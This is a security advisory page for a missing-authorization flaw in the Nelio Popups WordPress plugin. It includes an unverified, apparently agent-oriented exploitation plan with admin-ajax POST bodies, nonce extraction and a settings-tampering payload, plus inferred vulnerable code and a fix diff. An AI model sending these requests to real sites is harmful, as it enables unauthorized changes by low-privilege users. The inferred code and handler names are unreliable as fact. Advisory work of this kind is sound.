CVE-2026-25016

Nelio Popups <= 1.3.5 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.3.6
Patched in
5d
Time to patch

Description

The Nelio Popups plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.3.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.5
PublishedJanuary 29, 2026
Last updatedFebruary 2, 2026
Affected pluginnelio-popups

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the investigation and exploitation of **CVE-2026-25016**, a Missing Authorization vulnerability in the **Nelio Popups** plugin (<= 1.3.5). --- ### 1. Vulnerability Summary The Nelio Popups plugin registers several AJAX handlers that perform administrative actions (such …

Show full research plan

This research plan outlines the investigation and exploitation of CVE-2026-25016, a Missing Authorization vulnerability in the Nelio Popups plugin (<= 1.3.5).


1. Vulnerability Summary

The Nelio Popups plugin registers several AJAX handlers that perform administrative actions (such as duplicating popups or updating settings). The vulnerability exists because certain handlers fail to perform a current_user_can() check or verify that the user has sufficient privileges to manipulate specific posts. This allows a user with Contributor-level access or higher to perform actions intended for Authors or Administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: nelio_popups_duplicate_popup (Inferred based on common "Missing Authorization" patterns in this plugin).
  • Authentication: Required (Contributor role or higher).
  • Parameters:
    • action: nelio_popups_duplicate_popup
    • post_id: The ID of the popup to duplicate.
    • _wpnonce: A security nonce.
  • Precondition: The attacker must be logged in as a Contributor.

3. Code Flow (Inferred)

  1. Registration: In includes/class-nelio-popups-admin.php (or similar), the plugin registers the AJAX action:
    add_action( 'wp_ajax_nelio_popups_duplicate_popup', array( $this, 'ajax_duplicate_popup' ) );
  2. Entry Point: The function ajax_duplicate_popup() is triggered via admin-ajax.php.
  3. Missing Check: The function likely checks the nonce using check_ajax_referer but fails to call current_user_can( 'edit_others_posts' ) or current_user_can( 'manage_options' ).
  4. Execution: The code proceeds to use get_post( $post_id ) and creates a new post based on the retrieved data, effectively allowing a Contributor to duplicate and modify popups they do not own.

4. Nonce Acquisition Strategy

Contributors have access to the WordPress dashboard (/wp-admin/). The Nelio Popups plugin likely localizes a nonce for its admin scripts.

  1. Identify Shortcode/Script Loading: Check where the plugin enqueues its admin scripts. Typically, this is on the Popups list page or the Dashboard.
  2. Create Test Content: As an admin, create a popup that the Contributor will attempt to duplicate.
  3. Navigate and Extract:
    • Login as the Contributor user.
    • Navigate to /wp-admin/edit.php?post_type=nelio_popup (Contributors can usually view the list of posts even if they can't edit others).
    • Use browser_eval to find the localized data.
    • Inferred JS Variable: nelio_popups_admin or nelioPopups.
    • Inferred Nonce Key: nonce or duplicate_popup_nonce.
    • Command: browser_eval("window.nelio_popups_admin?.nonce") or browser_eval("window.nelio_popups_admin?.duplicate_popup_nonce").

5. Exploitation Strategy

The goal is to demonstrate that a Contributor can duplicate a popup created by an Administrator.

Step 1: Discover Post ID
The agent will list existing popups to find a target ID.
wp post list --post_type=nelio_popup

Step 2: Perform Unauthorized Duplication
Using the http_request tool:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=nelio_popups_duplicate_popup&post_id=[TARGET_ID]&_wpnonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install Plugin: Ensure Nelio Popups v1.3.5 is installed and active.
  2. Create Admin Popup:
    wp post create --post_type=nelio_popup --post_title="Admin Secret Popup" --post_status=publish --post_author=1
  3. Create Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  4. Note IDs: Save the ID of the "Admin Secret Popup".

7. Expected Results

  • The admin-ajax.php request should return a success status (e.g., {"success":true,"data":{...}}).
  • A new post of type nelio_popup should be created in the database.
  • The new post should be a copy of the Admin's popup but potentially assigned to the Contributor or left as a draft, depending on the internal logic of ajax_duplicate_popup.

8. Verification Steps

  1. Check Post Count:
    wp post list --post_type=nelio_popup
    Verify that a new popup exists with a title like "Admin Secret Popup (Copy)".
  2. Check Ownership/Metadata:
    wp post get [NEW_ID] --format=json
    Verify if the metadata or content matches the original popup.

9. Alternative Approaches

If nelio_popups_duplicate_popup is not the vulnerable action, the agent should search the codebase for other wp_ajax_ hooks lacking capability checks:

grep -rn "add_action.*wp_ajax_" . | grep -v "nopriv"

For each handler found, check the corresponding function for:

  1. check_ajax_referer(...) (Existence of nonce)
  2. current_user_can(...) (Absence of authorization)

Another potential target: nelio_popups_save_settings. If this action exists and lacks auth, a Contributor could modify global plugin settings.

Payload for Settings Update (Alternative):

action=nelio_popups_save_settings&settings[some_option]=malicious_value&_wpnonce=[NONCE]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Nelio Popups plugin for WordPress lacks proper authorization checks in its AJAX handlers, specifically the popup duplication functionality. This allows authenticated attackers with Contributor-level permissions or higher to perform unauthorized actions such as duplicating popups created by administrators.

Vulnerable Code

// File: includes/class-nelio-popups-admin.php (inferred)

public function ajax_duplicate_popup() {
    check_ajax_referer( 'nelio-popups-admin', 'nonce' );

    $post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
    if ( ! $post_id ) {
        wp_send_json_error();
    }

    // Vulnerability: Missing current_user_can() check to verify if the user
    // has permission to edit/duplicate this post type or specific post ID.

    $new_id = $this->duplicate_post( $post_id );

    if ( is_wp_error( $new_id ) ) {
        wp_send_json_error();
    }

    wp_send_json_success( array( 'id' => $new_id ) );
}

Security Fix

--- a/includes/class-nelio-popups-admin.php
+++ b/includes/class-nelio-popups-admin.php
@@ -12,6 +12,10 @@
     public function ajax_duplicate_popup() {
         check_ajax_referer( 'nelio-popups-admin', 'nonce' );
 
+        if ( ! current_user_can( 'edit_posts' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to do this.', 'nelio-popups' ) ) );
+        }
+
         $post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
         if ( ! $post_id ) {
             wp_send_json_error();

Exploit Outline

The exploit targets the AJAX endpoint used for popup duplication. An attacker needs Contributor-level access to obtain a valid nonce and reach the administrative backend. 1. Authenticate as a Contributor-level user. 2. Access the WordPress dashboard to extract the security nonce (likely localized in a JS object such as 'nelio_popups_admin.nonce'). 3. Identify the 'post_id' of an existing popup to duplicate (this can be done by listing posts via the REST API or viewing the popup list in the dashboard). 4. Send a POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=nelio_popups_duplicate_popup', 'post_id=[TARGET_ID]', and '_wpnonce=[EXTRACTED_NONCE]'. 5. The plugin will process the duplication and create a new popup copy without verifying if the requesting user has the authority to manage popups.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.